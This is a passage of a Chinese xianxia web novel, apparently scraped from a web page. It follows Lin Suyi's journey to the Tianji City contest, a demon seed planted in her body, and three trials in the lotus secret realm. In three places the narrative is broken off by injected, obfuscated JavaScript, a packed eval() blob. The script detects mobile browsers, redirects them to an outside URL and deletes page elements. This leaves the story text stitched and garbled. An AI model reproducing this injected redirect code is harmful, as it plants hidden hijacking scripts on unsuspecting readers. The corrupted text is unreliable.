到第二年年底时,她已经能勉强布置出一个简化版的“三泉眼阵”。虽然威力只有原阵的万分之一,但已经能困住筑基后期的修士了。 第三年,实战训练的重点从个人转向团队。 天骄大比不只有个人战,还有团队战。虽然净尘宗现在人少,但林素衣还是拉了周雨和三名执法弟子,组成一个小队。 周雨经过三年的调养和修炼,修为已经达到炼气八层。她修炼的是林素衣改良后的《净尘心经》,虽然进步不如林素衣快,但根基扎实,心性坚韧。 三名执法弟子:赵明、孙武、陈青,都已经是筑基初期。他们是云华的心腹,忠诚可靠,且实战经验丰富。 五人小队开始磨合。 林素衣发现,团队作战和个人战斗完全不同。需要默契、配合、信任。他们花了三个月时间,才勉强能做到心意相通。 半年后,他们的小队已经能在青玄门的内门弟子中排进前五——考虑到净尘宗只有五个人,这成绩堪称奇迹。 第三年的最后一个月,林素衣终于突破到筑基后期。 突破的过程很平静。她在天池边打坐,运转《净魔心经》,灵湖自然而然扩张,水到渠成。 突破后,她的灵湖从碗口大变成盆口大,灵力总量再次翻倍。更重要的是,她对水之大道的领悟更深了,能隐约感应到天地间水灵气的流动轨迹。 “是时候了。”林素衣睁开眼睛。 三年前,天机阁的银翅纸鹤再次飞来,带来了具体的时间和地点: “天骄大比,于天运历九千八百七十六年七月初七,在中州天机城举行。请持此请柬入城。” 距离大比开始,还有一个月。 净尘宗众人为林素衣送行。 素青给了她一枚储物戒:“里面有三件法宝,十瓶丹药,还有一千块上品灵石。省着点用。” 云华给了她一件内甲:“这是用天池水蚕丝织成的,能抵挡金丹期以下的物理攻击。” 玄诚子给了她一卷地图:“这是玄灵界的大致地图,上面标注了各宗门的位置和一些危险区域。” 周雨和三执法弟子则送了她一个护身符——五人一起做的,虽然简陋,但心意十足。 林素衣一一收下,向众人行礼:“等我回来。” 然后,她登上青莲舟,向东飞去。 中州位于玄灵界中央,距离青玄门有十万里之遥。即使以青莲舟的速度,也要飞二十天。 林素衣没有全速赶路,而是走走停停,沿途游览,增长见识。 这三年她几乎都在修炼,对外界的了解很少。这次出行是个机会,了解这个世界的风土人情,以及……其他宗门的情况。 第七天,她飞过一片平原时,突然感觉到下方有剧烈的灵力波动。 有人在战斗。 她降低高度,隐藏在云层中向下看去。 平原上,三个穿着黑衣的修士正在围攻一个白衣少年。那少年看起来十七八岁,修为是筑基中期,手持一柄长剑,剑法精妙,但以一敌三,已经落入下风。 三个黑衣人修为也都是筑基中期,配合默契,出手狠辣,显然是想置少年于死地。 林素衣本不想多管闲事,但当少年转身时,她看到了他腰间的玉佩—— 那是一块青色玉佩,刻着一朵莲花。 净尘宗的标志! 这少年是净尘宗弟子?可净尘宗不是只剩下她们七个人了吗? 她再仔细看,发现那玉佩和素青给她的略有不同。莲花只有五瓣,而素青给的是七瓣。 可能是净尘宗的旁支,或者……是当年宗门覆灭时流落在外的弟子。 不管怎样,不能见死不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不是乌云遮日,而是一只手——一只覆盖了整片天空的、由黑气凝聚而成的巨手,正缓缓压下! 巨手散发的气息,让林素衣体内的源海珠剧烈震动,传递来强烈的警告: “魔尊……的气息……” 但魔尊不是被封印了吗? 巨手越来越近,遮天蔽日。 叶清风已经瘫倒在地,无法动弹。 林素衣咬牙,全力催动玄水罩。蓝色的水幕将她护住,但在巨手的威压下,水幕剧烈晃动,随时可能破碎。 就在巨手即将拍下的瞬间—— 一道剑光,从东方天际斩来! 剑光如银河倒挂,斩在巨手上,将巨手从中劈开! 黑气消散,天空重现光明。 一个青衣人,踏剑而来。 他看起来三十来岁,面容普通,但那双眼睛如星辰般璀璨。他停在林素衣面前,上下打量她,然后点点头: “不错。筑基后期,根基扎实,心性沉稳。” “前辈是?”林素衣问。 “天机阁,执事长老,司空明。”青衣人淡淡道,“奉阁主之命,来接你。” 天机阁的人? 林素衣警惕道:“前辈怎么知道我在这里?” 司空明笑了:“天机阁若连这都算不到,还叫什么天机阁?” 他看向叶清风:“至于这位小友……也一起来吧。阁主也想见见你。” 叶清风茫然:“见我?” “你身上,有净尘宗失传的‘青莲剑诀’。”司空明道,“那是清虚真人亲创的剑法,失传千年。阁主对此很感兴趣。” 林素衣和叶清风对视一眼,都看到对方眼中的震惊。 天机阁,到底知道多少秘密? 司空明不再解释,袖袍一挥,卷起两人,化作一道剑光,向东飞去。 速度之快,远超青莲舟。 林素衣只感到眼前一花,再定睛时,已经身处一座宏伟的城池上空。 城池中央,有一座高耸入云的白塔。 和她在请柬中看到的画面,一模一样。 塔顶,一个人影背对着他们,手中的折扇轻轻摇晃。 扇面上,刻着三个字: “算天下”。 29. 天机城主 天机城坐落在中州腹地,四面环山,形如棋盘。城内建筑按照九宫八卦排列,街道横平竖直,每一处都暗合阵法之道。 中央的白塔名为“观星塔”,高九十九层,是天机阁的总部。 司空明带着林素衣和叶清风降落在塔顶平台。平台方圆百丈,地面铺着白玉石板,刻着繁复的星图。夜风吹过,带来远处松涛声。 背对着他们的那人缓缓转身。 那是个看起来四十来岁的中年男子,面容清癯,双目深邃如古井,仿佛能洞悉世间一切秘密。他手持一把素白折扇,扇面上除了“算天下”三字,再无其他装饰。 天机阁主,司空玄。 “林素衣,叶清风,欢迎来到天机城。”司空玄的声音温和,却带着某种直抵人心的力量,“老夫等候多时了。” 林素衣上前一步,躬身行礼:“晚辈林素衣,拜见阁主。不知阁主为何特别邀请晚辈参加天骄大比?” 司空玄微微一笑,折扇轻摇:“因为你是这一代净尘宗的传承者,也是……清虚真人选中的‘变数’。” “变数?” “天地运转,自有定数。”司空玄望向夜空,“但每隔千年,会出现一个‘变数’,打破既定的轨迹,带来不可预测的未来。你就是这个时代的变数。” 他顿了顿:“天机阁存在的意义,就是观察、记录、引导这些变数,让天地大道不至于偏离太远。” 叶清风忍不住问:“那晚辈呢?为何也要见阁主?” 司空玄看向他:“你身上有青莲剑诀的气息。这部剑法当年随着素心真人失踪而失传,你能得到,说明与净尘宗缘分不浅。” 他从袖中取出一卷古旧的兽皮卷轴:“这是完整的青莲剑诀,物归原主。” 叶清风接过卷轴,手都在颤抖:“前辈……这是……” “这是素心真人当年寄存在天机阁的。”司空玄道,“她说,若有缘的后人带着残诀找来,就将完整的剑诀交付。等了千年,终于等到了。” 林素衣心中一动:“阁主认识素心前辈?” “故人。”司空玄眼中闪过一丝追忆,“当年她带着女儿逃到天机城,在这里住了三年。临走前,托我保管此物,还说……千年后会有一个身怀净尘灵珠的女孩来取。” 他看向林素衣:“但我没想到,来的不止一个。” 这话意味深长。 林素衣正要细问,司空玄却摆摆手:“具体事宜,明日再谈。你们远道而来,先休息吧。司空明,带他们去客房。” “是。” 司空明领着两人下塔,来到塔中层的一间客房。房间不大,但布置雅致,窗外能看到半座天机城的夜景。 “明日辰时,阁主会在‘演武堂’见你们。”司空明交代,“今晚好好休息,不要乱跑。天机城虽安全,但规矩多。” 他离开后,林素衣和叶清风相对而坐。 “林……宗主。”叶清风有些拘谨,“今日多谢相救。” “叫我素衣就好。”林素衣道,“叶师兄,能说说你的来历吗?” 叶清风点头:“我是东洲‘青叶城’叶家子弟。叶家祖上是净尘宗外门弟子,宗门覆灭后流落东洲,开枝散叶。家传的《青莲剑诀》是残篇,只有前三式,据说完整的剑诀有九式。” 他顿了顿:“我这次来中州,是为了参加天骄大比,想在大比中寻找剑诀的其他部分。没想到路上遇到那几个黑衣人,他们好像知道我身上有净尘宗的东西……” “黑衣人是什么来历?” “不知道。但他们用的功法很诡异,带着死气,不像正道。” 死气……林素衣想起那只遮天巨手。那绝对不是普通修士能施展的手段。 “对了。”叶清风从怀中取出一块玉佩,正是那块五瓣莲花的,“这是我们叶家的祖传玉佩,据说能感应到其他净尘宗信物。我今天就是靠它,感应到你身上玉佩的气息,才往这边逃的。” 林素衣接过玉佩,仔细感应。玉佩内部确实有一个微弱的阵法,能共鸣同源气息。 “看来净尘宗虽然覆灭,但散落在外的传承不少。”她将玉佩还给叶清风,“叶师兄,你有没有想过……重建净尘宗?” 叶清风一愣,随即苦笑:“想是想,但我修为低微,叶家也只是个小家族,哪有能力重建宗门?” “我可以帮你。”林素衣认真道,“天池的净尘宗旧址正在重建,如果你愿意,可以加入我们。叶家的《青莲剑诀》虽是残篇,但也能丰富宗门的传承。” 叶清风眼睛一亮:“真的可以吗?” “当然。”林素衣笑了,“净尘宗需要每一个传承者。” 两人又聊了很久,直到深夜才各自休息。 林素衣躺在陌生的床上,却毫无睡意。 司空玄的话在她脑中回响:“变数”、“清虚真人选中”、“打破既定轨迹”…… 她想起清虚真人残魂消散前的话:“你的人生……只能由你自己……定义……” 难道清虚真人在千年前,就算到了今天? 还有那只巨手……魔尊的气息,绝对没错。但魔尊明明被封印在灵源之眼,怎么会出现在这里? 除非……封印出了什么问题。 她越想越不安,索性坐起来,开始打坐。 《净魔心经》运转,灵力在经脉中流淌,渐渐抚平心绪。 但就在这时,她手腕上的玄水罩突然自行激活,化作一道水幕护住全身。 同时,窗外传来一声轻微的闷响。 林素衣走到窗边,只见夜空中,一道黑影从观星塔顶掠过,速度极快,一闪而逝。 那黑影的形状……像一只巨鸟,但翼展足有十丈,浑身缠绕着黑气。 又是魔气! 她想追出去,但想到司空明的叮嘱,忍住了。 这一夜,天机城并不平静。 第二天辰时,司空明准时来敲门。 两人随他下塔,来到塔底的“演武堂”。 演武堂是一个巨大的圆形大厅,地面刻着八卦图案,周围立着八根铜柱,每根柱子上都雕刻着不同的神兽。 司空玄已经等在中央。他身边还站着三个人:一个红袍老者,一个白袍青年,一个紫衣少女。 “介绍一下。”司空玄道,“这三位是天骄大比的裁判:烈阳宗长老炎阳真人,剑阁首席弟子萧长风,百花谷圣女花无暇。” 炎阳真人须发皆红,气息炽烈如火山。萧长风背负长剑,气质冷峻。花无暇容颜绝美,但眼神冷漠,仿佛看透红尘。 三人看到林素衣时,都露出惊讶之色——显然没想到净尘宗的传承者,会是个七岁孩童。 “不必惊讶。”司空玄道,“修真界不以貌取人。素衣虽年幼,但实力不弱于筑基后期。这次大比,她直接进入决赛圈。” 炎阳真人皱眉:“阁主,这不符合规矩吧?直接进决赛,对其他参赛者不公平。” “公平?”司空玄笑了,“炎阳道友,你可知道她做了什么?” “什么?” “修复了灵源之眼的封印,阻止了上古魔尊破封。”司空玄淡淡道,“单凭这份功绩,就足以让她免试进入决赛。” 三人同时色变。 修复灵源之眼封印?那是净尘宗的护山大阵核心,传说只有净尘宗掌门才能掌控。这女孩竟然做到了? 萧长风眼中闪过战意:“既然如此,我更想和她交手了。” 花无暇则深深看了林素衣一眼:“净尘宗……终于有人回来了。” 司空玄摆摆手:“大比的事稍后再说。今天叫你们来,是为了另一件事。” 他看向林素衣:“昨夜,观星塔的‘观天镜’察觉到异常。有魔物潜入天机城,目标……可能是你。” 林素衣心中一凛。果然! “什么魔物?”叶清风急问。 “不清楚。”司空玄摇头,“观天镜只能看到一片黑气,无法辨认具体形态。但它散发的气息……和千年前围攻净尘宗的那些魔物很像。” 他顿了顿:“所以老夫猜测,可能是当年漏网的魔物,感应到净尘宗传承重现,前来报复。” 炎阳真人冷哼:“魔物敢来天机城撒野,找死!” “不可轻敌。”司空玄道,“那魔物能潜入天机城而不触发大阵,实力不容小觑。至少在元婴期以上。” 元婴期的魔物! 林素衣握紧拳头。以她现在的实力,遇到元婴期,只有逃跑的份。 “阁主需要我做什么?” “保护你。”司空玄道,“大比期间,你就住在观星塔,不要单独外出。天机阁会加强警戒,同时调查魔物的来历。” 他看向其他三人:“三位,此事关乎整个修真界的安危。还请协助。” 炎阳真人点头:“烈阳宗义不容辞。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980539|193562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 萧长风:“剑阁责无旁贷。” 花无暇:“百花谷会全力配合。” “好。”司空玄道,“那现在,先说说大比的具体安排。” 他取出一卷玉简,注入灵力,玉简在空中展开,化作一幅立体地图。 “天骄大比分三个阶段:初赛、复赛、决赛。初赛在城外的‘试炼山脉’进行,所有参赛者进入山脉,寻找‘天机令’。三日后,持有天机令者进入复赛。” “复赛在城内的‘竞技场’进行,一对一淘汰制,胜者进入决赛。” “决赛在观星塔顶进行,形式……暂时保密。” 司空玄看向林素衣:“你不用参加初赛和复赛,直接进入决赛。但决赛的形式,对你会更苛刻。因为你是‘免试者’,必须证明自己有这个资格。” 林素衣平静道:“我接受。” “好。”司空玄收起玉简,“大比三日后开始。这三日,你就留在观星塔,熟悉环境。叶清风,你也要小心。你身上的净尘宗气息,也可能引来魔物。” 叶清风点头:“晚辈明白。” 接下来的三天,林素衣在观星塔内潜心修炼。 司空玄给了她一些天机阁的典籍,大多是关于历代“变数”的记载。她发现,每一个变数都改变了历史的走向,但也都付出了巨大代价。 有的变数拯救了苍生,却牺牲了自己。有的变数推翻了暴政,却引发更大的混乱。有的变数创造了奇迹,却引来天妒…… “变数……到底是好是坏?”她问司空玄。 “无好无坏。”司空玄道,“就像水能载舟,亦能覆舟。关键在于……如何引导。” 第三天傍晚,林素衣正在塔顶平台练习青莲剑诀——叶清风将完整的剑诀分享给了她,她发现这部剑法很适合她的净尘灵体。 剑光如莲,在夜空中绽放。 忽然,她感到一股强烈的危机感从背后袭来! 她毫不犹豫,回身一剑! 剑光斩在一团黑气上,黑气炸开,化作无数细小的黑蛇,扑向她! “净!” 林素衣左手结印,清水印展开,水幕护住全身。黑蛇撞上水幕,发出“滋滋”的腐蚀声。 黑气重新凝聚,化作一个模糊的人形。 人形看不清面容,但那双眼睛猩红如血,死死盯着林素衣: “净尘传人……死!” 它扑了上来,速度快如鬼魅。 林素衣挥剑迎击,但对方的实力远超她的预估——至少金丹后期! 交手三招,她就被震飞,撞在塔顶护栏上,喷出一口鲜血。 “警报!”她大喊。 观星塔的警钟立刻响起,无数光芒从塔□□出,照亮夜空。 但黑气人形更快,它化作一道黑烟,直冲林素衣眉心——它要夺舍! 千钧一发之际,一道剑光从天而降,斩在黑烟上! “孽畜,敢在我剑阁面前撒野!” 萧长风踏剑而来,身后跟着数十名剑阁弟子。 同时,炎阳真人和花无暇也赶到,三人联手,将黑气人形围住。 黑气人形见势不妙,嘶吼一声,化作无数黑点,向四面八方逃窜。 “追!”萧长风下令。 剑阁弟子四散追击。 林素衣捂着胸口,看向黑气人形消失的方向,心中涌起强烈的不安。 这魔物……似乎并不想杀她。 而是想……在她体内留下什么东西。 她内视自身,果然在丹田边缘,发现了一缕极淡的黑气。 那黑气如毒蛇般盘踞,正试图渗入灵湖。 她尝试用净尘灵力驱除,但黑气异常顽固,纹丝不动。 “别费劲了。” 司空玄的声音传来。他不知何时出现在塔顶,看着林素衣,眼中满是凝重: “这是‘魔种’。一旦种下,就会不断侵蚀你的道心,最终将你转化为魔物。” “有办法解除吗?” “有。”司空玄点头,“但需要‘净世莲心’。那是净尘宗的圣物,能净化一切魔性。” “在哪里能找到?” 司空玄看向东方,缓缓道: “在净尘宗最后的禁地——‘莲花秘境’。” “但那里……已经封闭千年。” “而且,有传言说,秘境里……镇压着清微真人的本体。” 30. 莲花秘境 莲花秘境,净尘宗最后的禁地,传闻是清虚真人飞升前留下的试炼之地。秘境中有一株“净世白莲”,万年一开花,花瓣能净化魔性,莲心能重塑道基。 但秘境千年未开,因为开启需要三个条件:净尘宗掌门的信物,净尘灵珠的共鸣,以及……清虚真人的血脉认可。 “清虚真人的血脉?”林素衣皱眉,“素青前辈不就是吗?” “不。”司空玄摇头,“素青是素心的女儿,而素心只是清虚真人的记名弟子,并非血脉后裔。真正的血脉……可能已经断绝了。” 他看向林素衣:“但你体内有清虚真人留下的本源印记,那是修复封印时得到的。或许……能代替血脉。” 林素衣沉默片刻:“秘境在哪?” “东洲,青莲山脉深处。”司空玄道,“但那里现在是‘万魔谷’的地盘。万魔谷是魔道三大势力之一,与魂殿齐名。想要进入秘境,必须先过他们这一关。” 万魔谷……林素衣想起那些黑衣人,想起那只遮天巨手。 “魔种能压制多久?” “最多三个月。”司空玄道,“三个月后,魔种会生根发芽,开始侵蚀你的道心。届时,你会逐渐失去自我,最终成为魔物的傀儡。” 三个月。从东洲到中州,光是往返就要四十天。加上寻找秘境、通过试炼的时间…… “必须立刻出发。”林素衣下定决心。 “我陪你去。”叶清风毫不犹豫。 萧长风也上前一步:“剑阁与魔道势不两立,我随你去。” 炎阳真人和花无暇对视一眼,也点头:“我们也去。此事关乎整个修真界,不是净尘宗一家之事。” 司空玄欣慰道:“好。有你们四人相助,成功的把握大很多。但记住,此行凶险,万不可大意。” 他取出四枚玉符:“这是‘破界符’,能打开秘境入口一次。但只有一枚是真的,其他三枚是障眼法。真符需要净尘灵珠激发,所以必须由素衣持有。” 他又取出一个锦囊:“这是‘天机锦囊’,里面有三次推演机会。遇到无法解决的难题时打开,或许能找到生路。” 林素衣郑重接过:“多谢阁主。” “还有这个。”司空玄从怀中取出一枚青色令牌,“这是‘天机令’,持此令可调动天机阁在中州的部分资源。但只能用一次,慎用。” 一切准备就绪。 五人在观星塔顶告别司空玄,登上青莲舟,向东飞去。 这一次,同行者多了四人:叶清风、萧长风、炎阳真人、花无暇。 青莲舟速度全开,化作一道青光划破天际。 路上,林素衣抓紧时间疗伤和压制魔种。她发现,每当运转《净魔心经》时,魔种的侵蚀速度会减缓。净尘灵力与魔气在体内形成微妙的平衡,反而让她的实力有所提升。 但这种平衡很危险,一旦打破,就可能走火入魔。 七天后,他们进入东洲地界。 东洲多山,灵气浓郁,但魔气也重。这里是魔道势力的大本营,正道宗门很少涉足。 青莲山脉位于东洲东南,连绵三千里,主峰形如莲花,故而得名。但千年前,万魔谷占据此地后,改名为“万魔山”。 “前面就是万魔山了。”叶清风指向远方,“我家在青叶城,离这里不远,小时候常听老人说起万魔山的恐怖。” 萧长风握紧剑柄:“感应到了,至少有三位元婴期魔修的气息。” 炎阳真人身周泛起火光:“老夫已经三百年没和魔道交手了,正好活动活动筋骨。” 花无暇则取出一把花瓣,洒在空中。花瓣飘散,化作点点荧光,笼罩青莲舟:“隐匿阵法,能瞒过元婴初期的神识探查。” 五人悄悄降落在山脚。 按照司空玄给的线索,莲花秘境入口在莲花峰南侧的“净心潭”底。但净心潭现在是万魔谷的禁地,有重兵把守。 “硬闯还是智取?”叶清风问。 “先探探情况。”林素衣道,“炎阳前辈,您修为最高,能否感应到潭底的情况?” 炎阳真人闭目感应,片刻后睁眼:“潭底有强大的空间波动,确实是秘境入口。但周围布下了‘九幽噬魂阵’,是魂殿的手笔。守阵的有五人,都是金丹期。暗处还有一个元婴初期的老魔潜伏。” “魂殿和万魔谷联手了?”花无暇皱眉。 “意料之中。”萧长风冷冷道,“魔道三大势力虽然内斗不断,但在对付正道时,向来穿一条裤子。” 林素衣思索片刻:“强攻不行,我们人数和修为都不占优势。必须智取。” 她取出天机锦囊,犹豫了一下,没有打开——三次推演机会太珍贵,要用在关键时刻。 “我有个办法。”叶清风忽然道,“青莲剑诀中有一式‘青莲化影’,能幻化出分身,气息与本尊无异。我可以制造几个假分身,引开部分守卫。” “能维持多久?”萧长风问。 “一炷香。” “够了。”炎阳真人道,“一炷香时间,足够我们潜入潭底,打开秘境入口。” 计划定下。 叶清风施展青莲化影,幻化出三个分身,分别向三个方向逃窜。 果然,守卫被惊动,两个金丹期魔修追了出去。暗处的元婴老魔也动了,但只追出一个分身,留下三个金丹期守卫和另一个分身周旋。 “就是现在!” 五人趁乱潜入净心潭。 潭水冰冷刺骨,且蕴含着浓郁的魔气,不断侵蚀护体灵力。花无暇洒出更多花瓣,化作光罩护住众人。 下潜百丈,终于看到潭底。 潭底有一个巨大的石台,台上刻着莲花图案,正是秘境入口。但石台周围,九根黑色石柱按照九宫方位排列,组成九幽噬魂阵。 阵中,还站着三个金丹期魔修。 “三个金丹期,我来对付。”炎阳真人二话不说,冲了上去。 他身周火焰暴涨,化作三条火龙,扑向三个魔修。元婴对金丹,完全是碾压。不到十息,三个魔修就被烧成灰烬。 但打斗的动静,惊动了外面的元婴老魔。 “不好,他要回来了!”萧长风急道。 林素衣冲到石台前,取出破界符,按在莲花图案中心。同时,她全力催动净尘灵珠,蓝金色的光芒涌入石台。 石台开始发光,莲花图案缓缓旋转,一个光门逐渐成型。 但速度太慢! “拦住他!”炎阳真人冲向潭口,准备阻挡元婴老魔。 萧长风和花无暇也跟了上去。 叶清风守在林素衣身边:“你快开,我护法。” 林素衣咬牙,咬破舌尖,喷出一口精血在破界符上。 精血蕴含她的本源之力,光门成型速度加快。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980540|193562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >终于,在元婴老魔冲入潭底的瞬间,光门完全打开! “走!”林素衣拉着叶清风,跳进光门。 炎阳真人三人也摆脱老魔,紧随其后。 光门在五人进入后,迅速闭合。 元婴老魔冲到石台前,只见莲花图案已经黯淡,秘境入口消失。他愤怒地一拳轰在石台上,石台炸裂,潭水翻涌。 “净尘宗……你们逃不掉的!” 而光门内,是另一番景象。 这是一片无边无际的莲花海。白色的莲花在微风中摇曳,散发淡淡清香。天空是柔和的乳白色,没有日月,却有柔和的光洒落。 “这就是……莲花秘境?”叶清风惊叹。 林素衣却感到体内的魔种在剧烈震动,似乎在畏惧什么。 她望向莲花海深处,那里,有一株特别巨大的白莲,高约三丈,花瓣如玉,莲心处散发着纯净的净化之力。 净世白莲! 但想要取得莲心,必须通过三重试炼。 这是清虚真人留下的规矩。 第一重试炼,就在眼前。 莲花海中,突然升起五朵巨大的莲花,将五人分别包裹。 林素衣感到眼前一花,再睁眼时,已经身处一个纯白的空间。 空间中央,站着一个模糊的身影。 那身影缓缓转身,露出一张让她震惊的脸—— 清微真人! “孩子,你终于来了。”清微微笑,“我就知道,你一定会来找净世莲心。” “你……你不是死了吗?”林素衣警惕后退。 “死?不不不。”清微摇头,“我只是换了一种存在方式。我的本体被镇压在这里,但意识……可以透过封印传递出来。” 他走近一步:“孩子,把源海珠给我,我帮你取出莲心。我们联手,可以统治整个玄灵界。” “联手?”林素衣冷笑,“像你和魔尊那样?” 清微脸色一沉:“你知道了?” “该知道的,不该知道的,我都知道了。”林素衣握紧长剑,“清微,你的时代已经结束了。” “是吗?”清微笑了,“那你看看,这是谁?” 他抬手一挥,纯白空间中出现一幅画面。 画面中,是青玄门的景象。但此刻,青玄门上空,笼罩着一层黑气。无数魔物从地底涌出,正在围攻山门。 云华、素青、玄诚子等人正在苦战,但魔物太多了,她们渐渐不支。 “这是……实时发生的?”林素衣声音发颤。 “当然。”清微得意道,“你以为我为什么要引你来秘境?就是为了调虎离山。现在,青玄门空虚,正是拿下它的好时机。” 他顿了顿:“不过,如果你肯合作,我可以下令停止进攻。甚至……可以放了你的那些朋友。” 林素衣闭上眼睛。 再睁开时,眼中一片决绝: “清微,你太小看我了。” “也太小看……青玄门了。” 她挥剑,斩向清微的幻影。 幻影破碎,化作无数光点。 同时,一个苍老但威严的声音,在整个秘境响起: “第一重试炼……通过。” “试炼者,你的选择……很正确。” “但接下来的两重试炼……会更难。” “你……准备好了吗?” 31. 三重试炼 清微的幻影消散后,纯白空间开始崩塌。林素衣发现自己重新站在莲花海中,但叶清风等人却不见踪影。 “他们也在各自的试炼中。”那个苍老的声音再次响起,声音来源正是净世白莲,“第一重试炼是‘心魔试炼’,你战胜了对清微的恐惧,通过了。” 声音顿了顿:“但你必须加快速度。秘境内外时间流速不同,这里过去一天,外界才过去一个时辰。但即便如此,你的朋友也撑不了太久。” 林素衣心中一紧:“敢问前辈是……” “我是净世白莲的灵识,你可以叫我‘莲老’。”声音温和了些,“清虚真人在飞升前将我点化,命我守护秘境,等待真正的净尘传人。” “前辈,外面的魔物围攻青玄门……” “那确实是实时发生的。”莲老道,“清微虽然被镇压,但他的意识可以通过魔气传递到外界,调动部分魔物。不过你不用担心,青玄门的护山大阵没那么容易被破。你的朋友暂时安全。” 林素衣稍微松了口气:“那我该如何取得莲心?” “通过三重试炼。”莲老道,“第一重你已经过了。第二重是‘道心试炼’,考验你对净尘之道的理解。第三重是‘生死试炼’,需要你以生命为赌注。” “请前辈示下。” 莲花海突然分开,露出一条小径。小径尽头,是一座古朴的石亭。 “去石亭,那里有第二重试炼。” 林素衣沿着小径走去。脚下的莲花自动让开道路,两侧花瓣如雪般飘落,空气中弥漫着淡淡的清香。 石亭不大,里面只有一张石桌,一把石椅。桌上放着一卷竹简,简上刻着四个字:“净尘九问”。 林素衣在石椅上坐下,展开竹简。 第一问:“何为净尘?” 她思索片刻,提笔写道:“净者,澄澈无垢;尘者,凡世纷扰。净尘之道,乃于红尘中保持本心,于污浊中坚守清明。” 笔落,竹简上的字迹化作金光,飞入她眉心。 第二问:“何为善恶?” “善者,利他;恶者,损人。但善恶并非绝对,需看本心与后果。以善为名行恶事,是为伪善;以恶为名行善举,或为真善。” 第三问:“何为生死?” “生者,灵之始;死者,灵之归。生死循环,乃天地大道。但修士求长生,非为贪生畏死,而为追求更高境界,行更大善举。” 第四问:“何为道?” “道者,万物之规,天地之法。但道无常形,法无定式。每个人都有自己的道,关键在于能否坚持,能否在万千诱惑中不改初心。” 第五问…… 林素衣越答越快,心中对净尘之道的理解也越来越深。这些问题看似简单,实则直指道心根本。每答一问,她的心境就澄澈一分,体内的魔种就虚弱一分。 到第九问时,竹简上只有两个字: “何为我?” 林素衣提笔,却迟迟没有落下。 这个问题,她曾经问过自己无数次。她是林素衣,是净尘传人,是清微的实验品……但这些都是别人给的定义。 真正的“我”,是什么? 她闭上眼睛,回忆这一路走来的经历。 胎中觉醒时的迷茫,林家村的温馨,古井生灵的陪伴,青玄门的成长,源海珠的融合,灵源之眼的抉择…… 每一段经历,每一个选择,都塑造了现在的她。 笔尖终于落下: “我非棋子,非容器,非任何人的附庸。” “我是选择的总和,是经历的沉淀,是未来的创造者。” “我即是我,无可替代,独一无二。” 写完最后一个字,竹简突然燃烧起来,化作无数金色光点,涌入她的身体。 第二重试炼,通过! 林素衣感到自己的道心前所未有的坚定。那些曾经困扰她的身份问题、魔种侵蚀、清微的算计……在这一刻都变得微不足道。 我就是我。 这就够了。 莲花海中,莲老的声音带着欣慰:“好,好。千年了,终于有人真正理解了净尘之道。现在,只剩最后一重试炼了。” 小径继续延伸,穿过莲花海,来到一片悬崖前。 悬崖深不见底,下方是翻滚的云雾。悬崖对面,是净世白莲所在的小岛。但两岛之间没有桥梁,只有一根细细的藤蔓连接。 “这是‘生死藤’。”莲老道,“你需要走过这根藤蔓,到达对面。但藤蔓下方,是‘心魔深渊’。一旦坠落,就会被心魔吞噬,永世沉沦。” 林素衣看向那根藤蔓——只有手指粗细,长有百丈,在风中微微摇晃。 “没有其他办法吗?” “有。”莲老道,“你可以选择放弃,我会送你离开秘境。但那样的话,你体内的魔种无法清除,三个月后,你将成为魔物。” 林素衣摇头:“我不会放弃。” 她深吸一口气,踏上藤蔓。 第一步,藤蔓剧烈晃动,她差点摔下去。下方的心魔深渊传来无数诱惑的声音: “放弃吧……太危险了……” “回去……回到林家村……和父母在一起……” “把源海珠给清微……他答应给你永生……” 林素衣不为所动,继续前行。 越往前走,诱惑越强烈。心魔幻化出各种景象:林家村的温馨,青玄门的安宁,甚至还有前世地球的回忆…… 但她的脚步始终坚定。 走到一半时,变故突生。 藤蔓突然断裂! 林素衣反应极快,左手抓住断掉的藤蔓末端,整个人悬在半空。 下方的心魔深渊传来狂笑:“掉下来!掉下来!” 她咬牙,右手凝聚水灵力,化作冰爪,插进悬崖石壁。一点一点,向上攀爬。 但心魔不会轻易放过她。幻象变得更真实: “素衣,救我……”云华浑身是血,向她伸手。 “宗主,宗门需要你……”玄诚子跪地恳求。 “孩子,跟我走吧……”清微的笑容充满诱惑。 林素衣闭上眼睛,不再看那些幻象。 她心中只有一个念头:前进。 不知过了多久,她的手指终于触碰到对面的崖壁。她用尽最后力气,翻身上岸。 第三重试炼,通过! 净世白莲就在眼前。 莲老的声音带着激动:“千年了……终于有人通过了全部试炼。孩子,你合格了。” 白莲缓缓绽放,莲心处,一颗晶莹剔透的莲子缓缓升起。 “这就是净世莲心。服下它,魔种可除,道基可固,甚至能让你的净尘灵体更进一步。” 林素衣接过莲子。莲子入手温热,散发着纯净的净化之力。她能感觉到,体内的魔种在恐惧、颤抖。 但她没有立刻服下。 “莲老,我的朋友们呢?” “他们也在试炼中,有的通过了,有的……还在挣扎。”莲老道,“但我可以送你出去,他们在秘境入口处等你。” “那清微呢?他的本体真的被镇压在这里?” 